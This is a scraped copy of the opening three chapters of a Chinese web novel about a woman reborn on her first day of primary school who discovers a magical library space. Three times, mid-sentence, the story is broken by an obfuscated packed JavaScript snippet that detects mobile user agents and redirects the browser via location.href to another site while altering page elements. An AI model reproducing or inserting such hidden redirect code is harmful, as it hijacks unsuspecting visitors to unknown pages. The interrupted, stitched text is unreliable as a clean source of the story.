《重生在小学开学第一天》 1. 重生了？ 第一章懵懂重生 “芫儿，起床了，再不起就不给你买新衣服了啊！”迷迷糊糊中，褚筱芫听到了老妈在叫她，下意识地就回道：“嗯，我就起了！” 可是话音刚落，她才觉得有哪里不对。她明明就在公司宿舍睡觉，怎么会听到老妈叫她起床呢？难不成是幻听？ 这般想着的时候，褚筱芫已经睁开了眼睛；这一看，当即让她目瞪口呆：低矮的小木桌、灰黑有些裂纹的地板还有狭小拥挤的房间……既陌生又熟悉，分明就是小时候家里租住的小屋子！ 褚母一进门就看到自己的小女儿坐在床上傻愣愣的，以为她是还没睡醒；就走过去用手轻拍了小女儿的肩膀一下：“昨晚上催你睡觉都不睡，现在知道困了吧！快起来了，上学第一天可不能迟到！” 褚筱芫这才晃过神来，压下心底快要抑制不住的惊讶与暗喜，看向显然比十几年后年轻许多的老妈，眼眶一下子就湿了：“妈！” “怎么了？”褚母看了看睡在一边的小儿子，瞪了褚筱芫一眼，“叫这么大声干嘛，待会你弟被你吵醒就该闹你了！” “快点起来，你哥还在等你。” 终于理清自己眼下的状况，褚筱芫眨了眨眼，将眼里的水光眨掉，应了一声就急忙起床洗漱，看着家里唯一的一面小镜子里头映出自己如今的模样——剪着“少年头”的丑丑发型，满脸稚气。还没有戴上沉重的眼镜，她的心渐渐安定。 自己真的重生回小时候了，现在先去上学，当年开学第一天她记得没有正式上课，领了书本就回家了。到时候有时间，可以慢慢理清楚。 都重生了，可不能让前世的那些事再次发生。她一定可以的！ 为了多睡十分钟，褚筱芫可是锻炼出来在十五分钟内洗漱化妆做早餐打包的超效率，所以现在不过是洗漱吃饭而已，毫无难度。 等到她背上大姐不用的旧书包站到门口时，二哥还没反应过来，被她拉了一下才有些茫然地跟着出了门。 “你是急着去学校找以前幼儿园的朋友吗？她们和你同不同班？”走了一会，褚维江想到以前跟自家妹妹玩得很好的几个小孩，顿时自觉找到了妹妹今早突然一反往常磨蹭的原因。 褚筱芫回想了许久，也没记起自己幼儿园时玩得好的朋友有哪些，长什么样了；但是却记得最要好的那个朋友没和自己一个班，当时心情还低落了很久、因而错过了在新班级建立良好人际关系的机会。 但她现在是不知道的，所以只摇摇头：“不知道，幼儿园老师说，要到学校才能看到分班表。” “不用担心，就算不和他们同一个班，你也能找他们一起玩。不要太安静，多跟班上的同学交朋友，知道吗？有事就到六年级来找我。”褚维江皱眉想了会，“算了，待会我送你找到你的班级之后，应该还不到时间，到时候先带你在学校认认人。” 他觉得有些麻烦，可是好歹是自己妹妹，总得多看着点，不能让别人欺负了去。 “我跟你说，你哥我在学校可……” 看着身旁少年意气、眉眼里都透着肆意张扬的二哥，褚筱芫有些恍惚，小时候二哥原来是这样的啊，可为什么后来会变成那样让自己完全陌生的模样呢？长大，真的是一件很残忍的事情吧？ 褚维江并没有发现自己妹妹走神了，只当妹妹是第一天上学紧张不想说话，等到了学校，见到幼儿园的玩伴就好了。 到了学校，褚筱芫不需要二哥领着，自己就直接找到了分班表的公示栏，找到了自己的名字。 果然，自己果然还是被分到记忆中的102班。 “哥，我想先去班里认识新同学。”褚筱芫隐约记得自己当时到班里的时候已经比较晚了，所以只能坐到最后两排的位置。这次她希望可以有更多选择，既然要有改变，那就从开学第一天开始吧！ 褚维江正有点犹豫，身后传来同伴的呼唤，便同意了下来：“那你有什么事就找老师，或者去五楼找我，我就在那个班，知道了吗？” “嗯嗯，放心吧，我不小了。”褚筱芫点头，冲他挥挥手先一步跑向教室。 自家妹妹从小就聪明，也讨大人喜欢，应该不会有什么问题。褚维江想着也赶紧跑向等着自己的哥们，勾肩搭背地嘻笑着走上楼： “那是你妹妹啊？” “是啊！放学我得带她回家，下午就不和你们去打球了。” “哈哈哈你干嘛不把她一起带过去！” “不行，我……” 这一边，刚踏进102的褚筱芫扫了一眼乱哄哄的教室，心情诡异地平静。突然有些记起当初走进教室时的心情—— 因为旧书包及男孩子气的短发与班里女孩们格格不入的自卑、因一时找不到座位被众目睽睽的羞窘尴尬、想与座位附近女孩们搭话却又不知如何开口的慌乱无措；以及因为没有靠前边的作为最后只能坐到倒数第二排、以致看不清黑板而引起的一系列恶性循环。 现在回想起来，果真是年纪还小啊，如今的她，装着二十几岁、被生活大学狠狠教育过的灵魂，早就不会有这些青涩的小情绪了。 于是，她无视几束打量的目光，从容地在教室里看了一圈，径自走向第三排最中间的空座位坐下，然后很自然地与同桌——一个看起来有点小腼腆的、别着蝴蝶发夹的苹果脸女生搭话： “你的发夹真好看，是在哪里买的呀？” “谢……谢谢。这是、我老妈买给我的，我也不知道在哪买。”同桌果真是腼腆害羞的性子，被褚筱芫一夸，脸瞬时就红了，回答的声音也很小声，显然是对她的搭话有那么点小紧张。 “哦哦。”褚筱芫本来也就是找个话头，闻言立刻转了话题，边问边转头打量四周的同学，没有一直看着同桌，免得她更紧张，“好险，我差点以为自己来得太晚要没有座位了！你很早就来了吗？” 果然，小同桌逐渐放松下来，话都变多了：“没有，我也是刚到一会。我到的时候，人也不多的，你来得不算晚。” 两人你一言我一语地，各自说了自己名字后，又说起了各自上的幼儿园，聊得竟然也挺开心的，甚至引来了前后桌好奇的目光。筱芫注意到了，不过心里有其他打算的她不准备主动搭话。 反正就几天，有小同桌可以说话就挺好的，认识太多人没必要。她颇有些成年人的冷漠地想着，以后注定不会有交集的人，不需要去费心思社交。 但是前桌的两小孩显然都是自来熟的性子，听了一会就忍不住插进她们的话题里： “咱们学校门口那家店有好多好吃的，我今天来的时候看到了！我最喜欢那个糖饼，薄薄的脆脆的，超好吃！” “真的吗？！有没有变色糖？”隔壁桌的也被吸引了过来。 “我想要那个丁玩家方便面的c卡牌，其他的我都有了，就差那个就能集齐了！” ……果然，小孩子最感兴趣的就是零食玩具。褚筱芫听着他们兴致勃勃地谈论着最新的零食玩具，偶尔配合的插上一两句，心下有点怀念又有点想笑，重生后的恍惚感也渐渐被驱散。 很快，随着教室里的空座越来越少，说话声也越来越嘈杂，年轻的班主任终于带着温柔的笑意走进了教室。 大概是第一天上学，或者家长都千叮嘱万交代了要听老师的话，小孩们看到老师进来，都乖乖地坐好，安静下来。 跟她遥远记忆里的一样，班主任走上讲台之后，笑着说她姓刘，会教他们语文，也是他们这一年的的班主任，然后又说了一些上学之后要注意的事情，比如迟到时间、课程表安排之类的。 “今天是你们上学第一天，以后大家就是同学啦，要一起学习一起进步。因为是第一天，老师呢，就先不重新安排座位了，以后再看大家的情况调整，大家觉得可以吗？” 班主任刘老师笑着问道，听到参差不齐的应好声，她没有皱眉，依旧笑着，“好，那老师开始点名，念到名字的同学要答‘到’，点完名咱们就分书，确认书都拿齐了，大家就可以在教室里自由活动了，等着听广播安排。” “陈荣荣”“到！” “邱晨”“到！” …… 想想时间过得可真快啊，都二十年了。她听着老师点名，不自觉地又开始走神，在老师点到名的时候，要不是小同桌及时提醒，她就要错过答到了。 嗯，小同桌真是可爱的好人！可惜自己对一年级的同班同学都没什么印象，后来基本也没有什么往来，也不知道小同桌前世过得如何。 算了，瞎想什么呢，自己都不知道重活一次后能不能过得比上辈子好，想那么多也没什么意思。能过好自己的人生再说其他吧。 褚筱芫轻轻拍了两下自己的额头，一边听着讲台上老师讲话，一边又开始神游——都重生了，这辈子还要跟上辈子那样按部就班地过吗？ 想着想着，她下意识带出了上辈子发呆时的习惯——拿纸笔随便写写画画。 “哇！”小同桌忽然惊叹出声，“筱芫你在写字吗？好厉害，我都看不懂！你们幼儿园已经教那么多字了吗？” 沉浸在自己思绪中的筱芫顿时反应过来，动作僵了几秒，慢慢抬头看向小同桌，见小同桌脸上除了惊讶和赞叹只有满满的……崇拜？其他人似乎也没注意到自己，她才像是若无其事般放下笔，装作淡然地回答道： “是在写字。我们幼儿园也没教太多，我是和我二哥大姐学的，他们比我大五六年级呢。” “大五六年级？大好多啊。”小同桌说着，还掰着手指头算了算大五六年级应该是读到几年级。 褚筱芫觉得她数着手指头半天没算明白的样子十分可爱，有心想直接告诉她，可又怕不小心再表露出不符合自己如今年龄的马脚，只能忍住了。 不过，这么看着、感受着，她渐渐对于“我真的重生了”这事有了真实感。 开学第一天上午根本没有正式上课，光是点名领课本练习册、排队到操场听校长讲话什么的，就已经花费了大半个上午的时间。等他们再次回到教室坐好，也差不多是中午放学的时间了。 刘老师一如她记忆里一般温柔可亲，而且也不啰嗦，简单地叮嘱他们几句上学要注意带齐的东西还有上学时间之后，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628131|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干脆地宣布下课放学。 “哄”的一下，教室里的小孩子们听到放学立刻像小鸟一般，争先恐后地飞快跑出了教室。没一会，原本吵吵闹闹的教室就安静下来了。 “筱芫你还不回家吗？”小同桌一边背上粉色小书包，一边好奇地看着还端坐在座位上的褚筱芫问道。 筱芫摇摇头：“我没有钥匙，要等我哥一起回去。他是六年级的，没那么快放学。” 看她似乎有点像留下来陪自己的意思，筱芫忙又道，“你不是说你老妈会来接你吗？快去吧，别让阿姨等久啦。我没事，正好可以在这里看会课本，我哥他很快就来啦！” 小同桌脸红扑扑的，似乎觉得也是，就和她挥挥手：“那我先走了，下午我们再一起玩吧！” “好！”褚筱芫也跟着挥挥手，等看着小同桌走出教室，出了会神，才收回目光，重新拿出纸笔，准备制定自己重生后的人生计划。 刚写下“计划书”几个字，她忽然想到自己重生前，小学的时候似乎也做过类似的人生计划书，每个阶段目标都十分庞大；但那时的自己却信心满满地觉得肯定都能实现，顿时忍俊不禁。 什么第一个十年目标，靠写作投稿赚到多少多少钱，再买房做生意之类的，完全是把自己当成了小说主人公，还是玛丽苏龙傲天那种，也难怪自己后来稍微懂点事了，就立刻因为羞耻把那几页计划书撕碎丢进垃圾桶。 就是现在她想起来，也觉得脸红。想到这，褚筱芫猛咳了两下，准备写计划书的手颤了颤，决定脚踏实地一点，不设定什么厉害的目标，只把自己无论如何也想要改变的事记下来，然后以后一个个努力去实现。 首先从自己开始，必须避免再次近视，最后戴上厚厚的酒瓶底眼镜；好好保护自己的脸和头发，牙齿也得好好刷干净，避免再次被人撞到地上磕坏了门牙。重生以前她虽然没表露出来，但因为长相而自卑，使她错过很多机会却是不争的事实。有机会改变当然要好好努力！ 然后要多注意老妈的身体，一定要避免老妈再次被车撞到伤了腰那件事。筱芫在这句话上划了两道横线作为着重号，她记得很清楚，老妈腰不好之后人就一下子老了很多。她不过去上大学一个学期，回来就看到原本还很年轻的老妈头发都白了大半，虽然也有其他原因，但老妈身体不好就是那个时候开始的。 当然其他原因也必须记住，看看能不能有机会改变或者解决，比方说老爸那边的亲戚，偏心眼又总是挑刺看不惯自家的爷爷奶奶；比方说二哥为了嫂子跟家里大吵大闹惹得老妈伤透了心…… 筱芫的笔尖“嚓”一下划破了纸页，她皱紧眉头，笔尖停顿好一会才慢慢地移到下一行。 二哥啊，该怎么说呢。对自己这个妹妹，对大姐，二哥一直很大方，就是后来娶了嫂子，也没有吝啬，大学的时候她想买相机，后来考公务员报辅导班，都是二哥给的钱。 按理来说，她没什么资格指责；可是二哥实实在在伤了老妈的心，也是真的，仅出于此，她就没办法释怀。 可以说，她不想结婚的原因里，有三分之一是她看到了从小就喜欢的二哥变成了她不喜欢的那种人。在处理婆媳问题上，二哥不但没做为沟通的桥梁，还成了拖后腿的存在。 如果可以，她希望这辈子能做点什么，让二哥稍微进修下“婆媳关系学”。她自觉没资格插手任何人的感情生活，只能另辟蹊径，希望可以让老妈不再被二哥气出病来。 还有大姐……筱芫有点挣扎。 重生前大姐的婚姻是典型的“丧偶式婚姻”，姐夫木讷不善交际不说，不关心大姐、逢年过节从来不知道问候岳父岳母，刚结婚没多久就因为开的店被合伙人卷款跑路背了一身债。 大姐怀着双胞胎外甥的时候，姐夫因为要外出打工不在、公婆也不会照顾人还要大姐自己挺着肚子跑上跑下、做饭洗衣服，怀孕四五个月了，明明是双胎、却还没有别人怀一胎的身形。要不是老爸老妈看不过眼接大姐回家住，还不知道大姐后边要怎么捱。 后来外甥们出生两个月的时候，大姐有些产后抑郁，但是老妈去照顾小侄女了，分不开身来帮忙。那时她刚好放暑假在家，便主动提出由她来照顾大姐和两个小外甥。 两个小外甥可以说是她帮着带大的，姐夫换了也就换了，没什么，可是两个小外甥她还是很喜欢的，如果姐夫换了人，小外甥们还能再出生在他们家吗？ 笔尖在纸上留下一个重重的黑点，筱芫忽然笑着摇摇头，她真的想得太多太远了。想让家人过得更好没什么不对，至于其他的，到时候再看吧，还有十几年呢。 这么想着，她把之前写得密密麻麻的字全用橡皮擦擦了个一干二净，然后重新写下了三行字：早睡早起，好好学习天天向上；关心爸妈身体健康，留心大姐和二哥的感情动向，引导老弟发掘兴趣所在；尝试写稿投稿，赚钱尽早买房！ “筱芫，回家咯，快点收拾好东西出来！” 她刚写完最后一个字，就听到教室外传来二哥的声音，于是连忙应了一声，顺手将纸笔往书包里一塞，提着书包就往外跑。 2. 惊喜发现 第二章发现空间 “刚才你在干嘛？第一天上学老师就给你们布置了作业？不可能吧？”褚维江伸手接过她手里的书包，想到刚才看到的画面，笑嘻嘻地随口问道。 筱芫摇摇头：“没有啊，上午没有上课，我就是照着课本随便写写。” 褚维江想起妹妹从小就喜欢跟着自己和大姐识字看书，点点头没放在心上：“我想也是，我们那时候也这样。走吧，咱们先回家，妈应该带着细弟回到家里了。” 走在熟悉又陌生的路上，看着路边低矮的平房、一亩亩农田、来往路人都穿着十分有年代感的朴素的衣服，骑自行车摩托车的人都不多见，更别说开小汽车的了。 褚筱芫心中感叹：谁能想到呢，不过十年，这里就会天翻地覆，变成另一个模样——高楼林立、车水马龙，农田变成宽阔的体育场……随之而来的就是开始猛涨的房价物价。 一定要加油才行啊，别的不说，怎么也得给自家建个房子吧？这里十年内的地皮承包价格都低得可怕，造房子的工价也不高。 重生前她曾听老妈老爸闲谈的时候说过，十万块钱就足够跟村委会“买”块地建个五层楼房了，包装修那种；他们有个朋友就是从这个时候一跃成为后来的包租公的，每天翘着腿等收钱。筱芫还记得老爸老妈说到那位朋友时，脸上完全掩盖不住的羡慕之色。 想到老爸老妈为了租房子租厂房受了许多气，他们几姐弟也因为在这里没有自家的房子，面对本地同学的格格不入还有自卑，自己和老弟甚至还因此受到过校园霸凌，褚筱芫捏紧拳头，决定吃完饭就开始研究投稿的事。 “筱芫！筱芫！”老妈皱着眉轻轻打了下她的手，“吃饭就好好吃，怎么还咬筷子？没点样子！” 筱芫顿时回神，端端正正坐好，有些别扭地使用着老妈教过的最正确的筷子用法，试图夹菜，可是因为放飞太久早就不熟练的缘故，夹了半天才勉强夹到菜进碗里；不出所料，又被老妈念叨了好几句。 细弟见状，躲在老妈身后对她吐吐舌头，露出嘲笑。 太久没看到这么欠揍的细弟，筱芫心里觉得有些新奇和怀念，但面上却没露出分毫，直接移开视线继续吃饭。对付像她细弟这样的熊孩子，越理他他越来劲，不管他，他很快就会自己觉得没意思不玩的。 下午正式上课后，筱芫就发现了自己重生后第一个不那么好的事—— 太浮躁了，静不下心学习，连一节课都坐不住，总是跑神。 重生前她就因为适应不了办公室的明争暗斗和酒桌文化辞职，然后做了自由职业者，赚的钱不多不少刚好够生活；平时喜欢看电视剧电影或者综艺小说打发时间，已经很久很久没有沉下心来看书、练字了。 如今重生，猛然要她像普通小孩那样，还真有点困难。 这样可不行啊……筱芫狠心拧了把自己的大腿，疼痛迫使她把注意力都集中到课堂和书本上，下课也尽力不让自己被吵闹影响，一心把课后作业完成。 就这么勉强等到放学，开学第一天要大扫除，她跟另外几个女生被安排去擦窗台。 因为抹布和水桶扫把都不够，筱芫跟另外几个同學一起从办公室借来用，等大扫除结束，自觉做得比较少的她，就自告奋勇要自己一个人去归还东西。 大概是上学第一天，大家都还不敢太放肆本性，老师没在其他同学也乖乖地留着，帮着整理桌子、拖地之类的。 筱芫归还扫把水桶的时候，办公室里几个老师正在喝茶，见她来还东西，还笑着问了她在学校感觉如何之类的。 重生前上小学一年级的时候，她就经常待在办公室等二哥下课来接她，老师们也经常会拿吃的给她。所以现在看到几位老师问话，她不但不拘束，反而觉得很是亲切自在。 看她这么大大方方的，没有其他孩子的拘谨害怕模样，老师们更喜欢了，她临出办公室的时候，老师们还给她塞了几颗奶糖。 褚筱芫笑着出了办公室，回到教室的时候也没流露出特别的神色，等大扫除结束，班主任检查完，其他人都背着书包离开之后，她才拿了颗奶糖塞到小同桌手里，然后比了个“嘘”的手势。 小同桌眼睛一亮，两个人对视一眼，飞快地剥开糖纸将糖放入口中，然后不约而同地扑哧一笑；这一瞬间，两人似乎因为有了共同的秘密而变得更亲近了。 “那我先回家啦！明天我给你带饼干，我妈特地去周记买的。他家的饼干超级好吃！” “真的吗？那太好啦，我就等着蹭吃了！” 挥手目送小同桌离开，筱芫重新取出纸笔还有从家里带来的大姐他们的学生报纸，他们小学会给学生订学生周报，她记得上边会有征稿信息和征稿要求。 “最新一期还没发吧？按照之前的规律，这周的征稿主题应该是类似‘暑假见闻’之类的？或者假期的爱心活动记录？”她一边在本子上记录着，一边嘀嘀咕咕， “不然先研究能登上报纸的文章，它们大概行文风格怎么样？不符合主题就盲投不太好啊。” “哎，还是找时间去书店看看文学周刊、杂志之类的征稿信息吧，那样选择也能多点。” “就是现在没钱买书，不然买几本杂志慢慢研究就好了！啊，好羡慕那些小说里有一堆金手指的主角，我也想有啊，我也不贪心，有个全息图书馆随便我查资料什么的或者来个空间灵泉什么的也可以……” 她的碎碎念戛然而止—— “呃？” “幻觉？还是真的？！” 刚才她突然看到了环绕式的书架，就像电视剧里那种十分有钱有底蕴的家族，家里会有的那种豪华书房里放的那种书架，上边还摆满了书。甚至那一瞬间她还闻到了书店图书馆特有的那种书本的油墨香。 褚筱芫觉得那不是自己的错觉，可是那个画面就出现了一瞬，现在她依旧在教室里好好坐着，周围什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628132|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么变化都没有。 是不是需要什么暗号之类的？ 她努力让自己沉下心来，一点点回想自己刚才嘀咕的话： “想有个全息图书馆或者空间灵泉之类的？是这么说……”褚筱芫试探着说道，起初没什么反应，她正有些犹疑，一晃神，人已经置身于另一个空间，“……的吧。”下意识把没说完的话补完，她傻呆呆地对着环绕式的古木书架愣了好一会，才慢慢反应过来一个要命的事—— 她刚刚是在教室里！现在在这里的是她的人还是单纯的意识而已？要是人的话，那就出大事了！ 褚筱芫顾不上研究眼前这个突然出现的，有点像图书馆的地方是什么、怎么回事了，她得赶紧出去。最好在没人发现她的忽然消失之前；不然她就摊上大事了。 回去回去，啊，不对！是出去，她要出去！ 眼前仿佛黑了一秒，她定下神的时候，就发现自己还好好地坐在座位上，跟之前没有什么不同。 教室外也没什么人经过，一切就像没有发生过，看起来自己刚才，要么是突然不见并没有被人看到；要么是只有意识进了那个神奇的地方，人会依旧待在原来的地方。 “好险！”褚筱芫拍了拍胸口，幸亏他们学校只是村里的小学，没有在教室里安装监控的财力，所以也不必担心监控可能出现大变活人的一幕。 警报解除后，迟来的喜悦弥漫上她的心头，重生大神真的给了她金手指！虽然看起来不像是那种有灵泉能治百病的空间，但是有就很好了，她不挑！ 就是，还是得找机会确定到底是哪一种情况，不然以后她想进去，都得费尽心思找没人的地方；对于现在的她而言，实在太难了。 那么，问题就来了——她要到哪里去试验这件事？然后又要怎么试呢？ 学校肯定不行，人太多，没办法有绝对安静隐秘的空间；外边室外的其他地方也不行，不是来来往往人特别多的地方，就是太过偏僻不怎么安全；家里没有独立的空间，全家人都在一块儿，也很难找到机会去试验。 书店（他们这里这个时候还没有正经的图书馆，有个小书店就不错了）倒是安静，而且人不多，店主是她邻居家奶奶的儿子，因为熟悉，重生前小学初中她就常去书店淘书看，一待就是大半天，店主也从来没说什么，还会拿零食给自己吃让自己去搬张椅子坐着看。 这么盘算起来，书店好像挺适合的，没监控又安静，看书买书的人也多半不会在意其他人什么时候出现……至于要怎么确定自己是人进空间还是意识在空间，她也想过了。 意识进入空间，按理来说，是不能把现实里的东西带进去的。但可惜，之前她太过惊讶，都没留意自己是不是把笔带进了那个地方；所以只能重新再试一次。 正好二哥本来准备放学和同学去打篮球的地方，离那家书店也没多远，和大姐上的初中更近。一会儿见了二哥和他说，应该没什么问题。 3. 摸索空间 第三章跳级的想法 “筱芫，你瑞东哥他们想去宫前打篮球，你是想去初中那等大姐一起回去，还是去看我们打球？” 没想到，二哥来接她的时候，竟然先她一步这么问道，筱芫立刻顺势提出自己可以去附近的书店等他跟大姐： “我想去海叔店里看书。” “那也行！不过你说你，怎么小小年纪一点都不活泼呢，天天就爱抱着书看，别看坏眼睛了！”二哥胡乱揉了一把她的头发，笑着提醒道，“对了，这些都是我同学，你叫他们哥就行。” “对啊，妹妹，看书有什么意思啊，不如跟你哥一块，我们教你打球啊！”“就是就是！”“你妹妹这么小，能看得懂？”二哥的同学在旁边七嘴八舌地起哄道。 “去去去！你们懂什么！别吓着我妹！”二哥看起来十分得意，一边把他们跟自己隔开，一边臭屁地跟他们炫耀， “你们也不看看是谁的妹妹，我这么聪明，我妹当然更聪明了！她还读幼儿园的时候，就会自己翻我跟我姐的新华字典看报纸了；现在能看书，有什么出奇的？” 二哥的同学闻言，全都惊讶地望向她，她很不好意思地连连摆手：“没有没有，是幼儿园教了一些，大姐和二哥也教了一些我才……” 虽然现在她确实不用字典也能看想看的任何书，但那也是占了重生才有的优势，重生前这个时候的自己，顶多也就是比其他小孩更能静下心来看书认字而已；实在不能算是聪明小孩。而这个勉强算是的优点，也在重生之后不复存在了。 “那也很厉害了！”跟二哥玩得最好的瑞东哥作怪地朝她抱拳，“佩服佩服！失敬失敬！” 筱芫想了想，犹豫着也似模似样地拱拱手：“见笑见笑？客气客气？” “哈哈哈哈……”没料到她会这么回应，众人顿时笑开。 “好了好了，不是说要打球，快走吧，晚点就打不了球了！” “走喽走喽！” 一群人嘻嘻哈哈，学着电影里古惑仔的样子勾肩搭背地出了校门，往宫前走去；筱芫被他们围在中间，画风格格不入，走在路上回头率都贼高。 一开始筱芫没注意，后来发现了路人奇怪的目光后，回头看了眼完全不知道发生了什么、傻大个似的哥哥们，摇头叹气，默默地回头，然后加快脚步和他们拉开距离。 可惜她人小腿短，再怎么加快脚步，整体上来看并没有多大作用。不过好在，很快就到了宫前，筱芫一眼就看到了书店，急忙挥挥手，丢下一句“我先去书店啦，你们打完球再来接我吧！”就径直跑进了书店。 进了书店，海叔就在店门口的柜台前坐着，见她进来，就笑着问她：“今天去上学了？感觉怎么样啊，喜欢上学吗？” “嗯，今天是开学第一天！喜欢，上学可以有新衣服和新本子！”筱芫努力装作小孩子的语气回答着，目光在小小的书店里四下打量。 现在这时候书店还没扩建，就只有二三十平方米大，却摆了三四个放满了像《西游记》《钢铁是怎样炼成的》之类偏名著类书籍的大书架，靠外还有两个由木板拼接起来的木架子，上面堆满了各式各样的小说、小人书。在柜台边上还放了个简陋的木架子，这里放的是学生教辅资料书、《中小学生作文选》和《课堂内外》之类的学生类杂志。 “你自己想看什么就去看啊，童话书在最里边。”海叔也知道她从小就爱翻报纸和童话书看，所以完全没有疑问，直接告诉了她故事书的位置，就又低下头继续记账。 但这正是筱芫想要的，于是她装作要去翻故事书看，直接奔向最里边。 现在书店里没多少人，最里边的位置更是安静，筱芫一去到那，左右观察了一会，就迫不及待地开始了试验。 她先是不带东西默念“我要进去”，再次验证了有点像图书馆的空间确实存在后，她开始第二次试验。 这次她手上拿着铅笔和作业本，进去的时候发现两手空空，但是在她面前最靠近的那张桌子上，却出现了一模一样的铅笔和作业本。 筱芫傻了眼，没想到会出现这种情况的她犹豫着上前，试着拿起笔在作业本第二页纸上写了一句“好好学习、天天向上”，然后两样东西都拿在手里，默念出去。 出去后，她第一时间翻开手上拿着的作业本，竟真的在第二页看到了自己写的那句话！于是为了验证自己的猜测，她连着几次进进出出，先是重复了第二次进去时的操作，然后出来之前把纸笔放回桌子，什么都不拿。 这回出来的时候，她手上果然还是拿着纸笔，作业本里也出现了她刚刚写上去的另一句话“你看到我了”。验证了猜测，筱芫又开始了新的一轮试验—— 手上不拿着任何东西，然后进去，依旧能看到之前的笔和作业本，她拿起笔在作业本上写了第三句话；写完后再拿着笔默念出去。她一出去，就感觉到手里的东西不见了，而翻开作业本后，就看到作业本上又多了一句她刚才写的话。 经过这么几次试验确认，筱芫已经知道这个“图书馆”空间是不能带东西进出的，但是想带的东西还有想写的东西却能够通过某种她不知道也不懂的方式，出现在空间里或者被“带出”空间。 可是，试验了这么多次，还是不能确定到底人到底能不能进入“图书馆”，反而让她更迷糊了。她皱着眉头想了想，又连着试了几次，并且尝试着能不能探索到其他区域，才渐渐摸索出—— 这是一个比起小说里经常出现的那种有灵泉能种植的空间，更像是一座图书馆的“空间”，虽然她进去那么多次，只是看到了书桌椅子和那颇为壮观的环形大书架，但是刚才她几次进出时，不经意间撞到了书桌却没感觉，然后发现环形大书架后边隐隐露出一角，像是其他不同样式的书架。 这说明还有许多等待她去探索的空白之地；而明明撞到了书桌却没有感觉痛，直到出来才反应过来，说明……她应该是意识进入空间，按照大多数小说电视剧的经验判断，不痛就是在做梦；这么想着，筱芫下意识掐了自己一把验证猜测。 “嘶！好痛！” 离开空间就能感觉到疼痛，在里头写东西能同步出现在现实里，然后在里头不会有痛觉，由此可以推断出结论：她是单纯地用意识进入空间。 挺好的，适合现阶段没有什么独立空间的自己，而且在里边写东西也不用担心做无用功。 剩下最后一个问题就是时间流速。筱芫立刻出去看书店唯一的时钟，记下时间，下午五点零七分，随后回到之前的位置，拿着一本书，进入空间。 果不其然，她出现在图书馆空间的时候，眼前的书桌上正放着《寓言故事》——她拿着的那本书。这本《寓言故事》不是很厚，按照她的阅读速度，半个小时以上，一个小时之内就能读完。 因为现在没有手机或者手表，图书馆空间里似乎也没见到有计时的工具，所以她只能根据这个来大概计算两边时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628133|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间流速是否不同。 …… 她看完书，离开图书馆空间后第一时间确定了时间，距离她进去不过过了五分钟，这也就是说——两边的时间流速比至少是1:6，甚至可能更多。真是个好消息！ 筱芫十分满意自己得到的结论，看了些时间，趁大姐二哥没来接她之前，再次进入空间，开始正式探索自己这个图书馆空间。 她站在大得超级夸张的六边环形书架面前，密密麻麻排列得很是整齐有序的书乍一看会让人有种发昏的感觉。 没多迟疑，她直接从里头抽出一本书，是《中国通史》，再抽，《中华上下五千年》、《史记》、《后汉书》、《地球简史》…… 看来这一整面书架都是历史类书籍，而且似乎大多都是她看过的。筱芫走到对面书架，随机又抽出几本书，一看名字——《时间简史》《罗生门·未来》《三体》《海底两万里》……都是偏科幻悬疑类的书籍小说，也是自己曾经看过的。 将六边环形书架全都大概看一遍之后，筱芫才长舒一口气，坐在书桌前，好长时间都不想动弹。 总共六面书架，一面全是历史类书籍小说，旁边那面书架则是像《鬼谷子》《本草纲目》《九章算术》《诗经》之类的各门类典籍，再过去的那面书架就全是杂科书籍，像是《世界地理》《世界十万个魔术解析》《谜语大全》还有《十万个为什么》系列丛书等等。 科幻类书籍小说那面书架隔壁的则是《故事》《你的剧本逊毙了》《戏剧的结构与解构》及诸如《肖申克的救赎》、《美丽心灵》、《楚门的世界》、《老友记》、《生活大爆炸》等著名电影电视剧的剧本。 剩下最后那面书架，就全是从小学到大学会需要的所有教科书教辅书，各个科目所有种类全都有。 每面书架都有十层，每层至少有二三十本书，可想而知书的数目之多；但这不是令筱芫震惊的，震惊她的是这些书她或多或少都浏览过一点，她感兴趣的历史类及小说之类的那些书，她甚至整本都看过不止一遍。 难道这个图书馆空间是收录自己浏览过的书形成，呃，建成的？那更多还看不到的空间，是因为自己的阅读量还打不到让图书馆空间拓展的水平？ 筱芫皱着眉在作业本最底下那页记录下自己对空间的探索结论和疑问，然后忽然想起时间差不多了，赶忙离开空间。 她背着书包刚走到书店门口，就看到大姐和二哥正向书店走来，于是她快走两步：“大姐，二哥！” “走，咱们得快点回家，我买了青菜，先回去把饭做好，老妈工作完还要去带细弟回家，太累了，让妈回家后能休息会。”大姐等她走过去，一边帮她拎书包一边说。 “好！” 